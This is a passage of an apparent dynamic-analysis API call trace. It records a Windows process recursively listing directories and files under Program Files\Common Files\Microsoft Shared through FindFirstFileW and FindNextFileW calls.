dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.278] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb22e200, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb22e200, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.DLL", cAlternateFileName="")) returned 1 [0273.278] GetLastError () returned 0x12 [0273.278] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0273.278] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.278] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd541900, ftCreationTime.dwHighDateTime=0x1c911ec, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd541900, ftLastWriteTime.dwHighDateTime=0x1c911ec, nFileSizeHigh=0x0, nFileSizeLow=0x205b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1AR.LEX", cAlternateFileName="")) returned 1 [0273.279] GetLastError () returned 0x12 [0273.279] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0273.279] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x358c900 | out: hHeap=0x1c0000) returned 1 [0273.279] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1 [0273.279] GetLastError () returned 0x12 [0273.279] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*", lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0273.279] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.279] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0273.279] GetLastError () returned 0x12 [0273.279] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0273.280] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.280] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0273.280] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0273.280] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.280] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0273.280] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0273.280] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x358c900 | out: hHeap=0x1c0000) returned 1 [0273.280] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0273.280] GetLastError () returned 0x12 [0273.280] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*", lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0273.281] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.281] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 1 [0273.281] GetLastError () returned 0x12 [0273.281] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0273.281] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.281] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0273.282] GetLastError () returned 0x12 [0273.282] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*", lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0273.283] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.283] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x3a0e768 | out: lpFindFileData=0x3a0e768*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1574f00, ftCreationTime.dwHighDateTime=0x1be23e3, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1574f00, ftLastWriteTime.dwHighDateTime=0x1be23e3, nFileSizeHigh=0x0, nFileSizeLow=0x51a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="FM20.CHM", cAlternateFileName="")) returned 1 [0273.283] GetLastError () returned 0x12 [0273.284] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0273.284] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0273.284] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1 [0273.284] GetLastError () returned 0x12 [0273.284] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0273.284] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.285] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 0 [0273.285] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0273.285] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x358c900 | out: hHeap=0x1c0000) returned 1 [0273.285] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1 [0273.285] GetLastError () returned 0x12 [0273.285] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*", lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0273.287] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.287] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ef3e00, ftCreationTime.dwHighDateTime=0x1cbd033, ftLastAccessTime.dwLowDateTime=0xd2618ca0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc9ef3e00, ftLastWriteTime.dwHighDateTime=0x1cbd033, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0273.288] GetLastError () returned 0x12 [0273.288] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0273.288] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x358c900 | out: hHeap=0x1c0000) returned 1 [0273.288] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1 [0273.288] GetLastError () returned 0x12 [0273.288] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*", lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0273.288] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.288] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0273.288] GetLastError () returned 0x12 [0273.288] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0273.288] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x358c900 | out: hHeap=0x1c0000) returned 1 [0273.288] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="VISIOS~1")) returned 1 [0273.288] GetLastError () returned 0x12 [0273.288] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*", lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0273.290] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.290] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0273.290] GetLastError () returned 0x12 [0273.290] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*", lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0273.295] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.295] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x3a0e9ec | out: lpFindFileData=0x3a0e9ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x4f2ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIGFONT.SHX", cAlternateFileName="")) returned 1 [0273.295] GetLastError () returned 0x12 [0273.295] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0273.296] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x34e0048 | out: hHeap=0x1c0000) returned 1 [0273.296] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 0 [0273.296] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0273.296] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x358c900 | out: hHeap=0x1c0000) returned 1 [0273.296] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x3a0eef4 | out: lpFindFileData=0x3a0eef4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1 [0273.296] GetLastError () returned 0x12 [0273.296] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*", lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0273.297] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.297] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x3a0ec70 | out: lpFindFileData=0x3a0ec70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, 